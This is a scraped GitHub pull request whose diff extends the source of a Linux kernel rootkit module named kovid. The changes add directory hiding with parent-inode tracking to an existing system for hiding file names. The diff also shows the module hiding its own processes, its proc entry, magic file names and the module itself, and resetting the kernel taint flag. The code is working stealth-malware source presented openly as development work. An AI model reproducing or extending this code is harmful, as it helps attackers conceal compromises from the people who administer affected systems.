Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dircount #150

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
129 changes: 84 additions & 45 deletions src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -156,9 +156,11 @@
static LIST_HEAD(names_node);
struct hidden_names {
u64 ino;
u64 ino_parent;
char *name;
struct list_head list;
bool ro;
bool is_dir;
};

bool fs_search_name(const char *name, u64 ino) {
Expand All @@ -176,73 +178,90 @@
return false;
}

int fs_is_dir_inode_hidden(const char *name, u64 ino) {
struct hidden_names *node, *node_safe;
int count = 0;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->is_dir && ino == node->ino_parent)
count++;
}
return count;
}

void fs_list_names(void) {
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
prinfo("hidden: '%s'\n", node->name);
if (node->is_dir) {
prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent);
} else {
prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino);
}
}
}

static int _fs_add_name(const char *names[], bool ro, u64 ino) {
const char **s;
static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) {
size_t len;

if (!names)
if (!name)
goto err;

for (s = names; *s != NULL; ++s) {
size_t len = strlen(*s);
if (!len)
continue;

if (!fs_search_name(*s, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)*s, len);
hn->ro = ro;
hn->ino = ino;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
len = strlen(name);
if (!len)
goto err;


if (!fs_search_name(name, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)name, len);
hn->ro = ro;
hn->ino = ino;
hn->is_dir = is_dir;
hn->ino_parent = ino_parent;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
return 0;
err:
prerr("Invalid argument\n");
return -EINVAL;
}

int fs_add_name_ro(const char *names[], u64 ino) {
return _fs_add_name(names, true, ino);
int fs_add_name_ro(const char *name, u64 ino) {
return _fs_add_name(name, true, ino, 0, false);
}

int fs_add_name_rw(const char *name, u64 ino) {
return _fs_add_name(name, false, ino, 0, false);
}

int fs_add_name_rw(const char *names[], u64 ino) {
return _fs_add_name(names, false, ino);
int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) {
return _fs_add_name(name, false, ino, ino_parent, is_dir);
}

bool fs_del_name(const char *names[]) {
bool fs_del_name(const char *name) {
struct hidden_names *node, *node_safe;
int deleted = 0;

if (names) {
struct hidden_names *node, *node_safe;
const char **s;
for (s = names; *s != NULL; ++s) {
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, *s)) {
prinfo("unhide: '%s'\n", *s);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;
++deleted;
}
}
if (!name)
return false;

list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, name)) {
prinfo("unhide: '%s'\n", name);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;

Check notice

Code scanning / CodeQL

For loop variable changed in body Note

Loop counters should not be modified in the body of the
loop
.
++deleted;
}
}

Expand All @@ -260,6 +279,26 @@
}
}

static struct inode *_fs_get_parent_inode(struct path *file_path) {
struct dentry *parent_dentry;
if (!file_path) {
prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path);
return NULL;
}

parent_dentry = dget_parent(file_path->dentry);
if (parent_dentry)
return parent_dentry->d_inode;
return NULL;
}

u64 fs_get_parent_inode(struct path *file_path) {
struct inode *inode = _fs_get_parent_inode(file_path);
if (inode)
return inode->i_ino;
return 0;
}

struct file *fs_kernel_open_file(const char *name) {
struct file *filp;

Expand Down
24 changes: 12 additions & 12 deletions src/fs.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,18 +21,18 @@ bool fs_file_stat(struct path *, struct kstat *);
* This function allocates data that must
* be freed when no longer needed.
*/
struct fs_file_node *fs_get_file_node(const struct task_struct *task);

bool fs_search_name(const char *name, u64);
struct fs_file_node *fs_get_file_node(const struct task_struct *);
bool fs_search_name(const char *, u64);
void fs_list_names(void);
int fs_add_name_ro(const char **, u64);
int fs_add_name_rw(const char **, u64);
bool fs_del_name(const char **);
int fs_add_name_ro(const char *, u64);
int fs_add_name_rw(const char *, u64);
int fs_add_name_rw_dir(const char *, u64, u64, bool);
bool fs_del_name(const char *);
void fs_names_cleanup(void);
struct fs_file_node *fs_load_fnode(struct file *f);


struct file *fs_kernel_open_file(const char *name);
struct fs_file_node *fs_load_fnode(struct file *);
struct file *fs_kernel_open_file(const char *);
u64 fs_get_parent_inode(struct path *);
int fs_is_dir_inode_hidden(const char *name, u64 ino);

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0)
ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *);
Expand All @@ -42,6 +42,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t);
int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long);
#endif

int fs_kernel_close_file(struct file *filp);
int fs_file_rm(char *name);
int fs_kernel_close_file(struct file *);
int fs_file_rm(char *);
#endif //__FS_H
58 changes: 37 additions & 21 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,6 @@ struct task_struct *tsk_tainted = NULL;

static struct proc_dir_entry *rrProcFileEntry;
struct __lkmmod_t{ struct module *this_mod; };
static unsigned int op_lock;
static DEFINE_MUTEX(prc_mtx);
static DEFINE_SPINLOCK(elfbits_spin);

Expand Down Expand Up @@ -432,6 +431,7 @@ enum {

/** file stealth operations */
Opt_hide_file,
Opt_hide_directory,
Opt_hide_file_anywhere,
Opt_list_hidden_files,
Opt_unhide_file,
Expand All @@ -452,6 +452,7 @@ static const match_table_t tokens = {
{Opt_unhide_module, "unhide-lkm=%s"},

{Opt_hide_file, "hide-file=%s"},
{Opt_hide_directory, "hide-directory=%s"},
{Opt_hide_file_anywhere, "hide-file-anywhere=%s"},
{Opt_list_hidden_files,"list-hidden-files"},
{Opt_unhide_file, "unhide-file=%s"},
Expand Down Expand Up @@ -512,39 +513,52 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
case Opt_hide_file:
{
char *s = args[0].from;
const char *tmp[] = {NULL, NULL};
struct kstat stat;
struct kstat stat = {0};
struct path path;

if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) {
/** It is filename, no problem because we have path.dentry */
const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL);
path_put(&path);
tmp[0] = f;
fs_add_name_rw(tmp, stat.ino);
fs_add_name_rw(f, stat.ino);
kv_mem_free(&f);
} else {
if (*s != '.' && *s != '/') {
tmp[0] = s;
fs_add_name_rw(tmp, stat.ino);
fs_add_name_rw(s, stat.ino);
}
}
}
break;
case Opt_hide_file_anywhere:
case Opt_hide_directory:
{
const char *n[] = {args[0].from,NULL};
fs_add_name_rw(n, 0);
char *s = args[0].from;
struct kstat stat = {0};
struct path path;

if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) {
/** It is filename, no problem because we have path.dentry */
const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL);
bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR);
u64 parent_inode = fs_get_parent_inode(&path);
fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir);
path_put(&path);
kv_mem_free(&f);
} else {
if (*s != '.' && *s != '/') {
/** add with unknown inode number */
fs_add_name_rw(s, stat.ino);
}
}
}
break;
case Opt_hide_file_anywhere:
fs_add_name_rw(args[0].from, 0);
break;
case Opt_list_hidden_files:
fs_list_names();
break;
case Opt_unhide_file:
{
const char *n[] = {args[0].from, NULL};
fs_del_name(n);
}
fs_del_name(args[0].from);
break;
case Opt_journalclt:
{
Expand Down Expand Up @@ -745,7 +759,7 @@ static int __init kv_init(void) {

int rv = 0;
char *procname_err = "";
const char *hideprocname[] = {PROCNAME, NULL};
const char **name;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0)
struct kernel_syscalls *kaddr = NULL;
#endif
Expand Down Expand Up @@ -789,7 +803,7 @@ static int __init kv_init(void) {
if (!tsk_prc)
goto unroll_init;

fs_add_name_ro(hideprocname, 0);
fs_add_name_ro(PROCNAME, 0);

tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME);
if (!tsk_tainted)
Expand All @@ -815,17 +829,19 @@ static int __init kv_init(void) {
kv_hide_task_by_pid(tsk_prc->pid, 0, CHILDREN);
kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN);

/** hide magic filenames & directories */
fs_add_name_ro(hide_names, 0);

/** hide magic filenames, directories and processes */
fs_add_name_ro(kv_get_hide_ps_names(), 0);
for (name = hide_names; *name != NULL; ++name) {
fs_add_name_ro(*name, 0);
}

for (name = kv_get_hide_ps_names(); *name != NULL; ++name) {
fs_add_name_ro(*name, 0);
}

kv_scan_and_hide();

#ifndef DEBUG_RING_BUFFER
kv_hide_mod();
op_lock = 1;
#endif

prinfo("loaded.\n");
Expand Down
Loading
Loading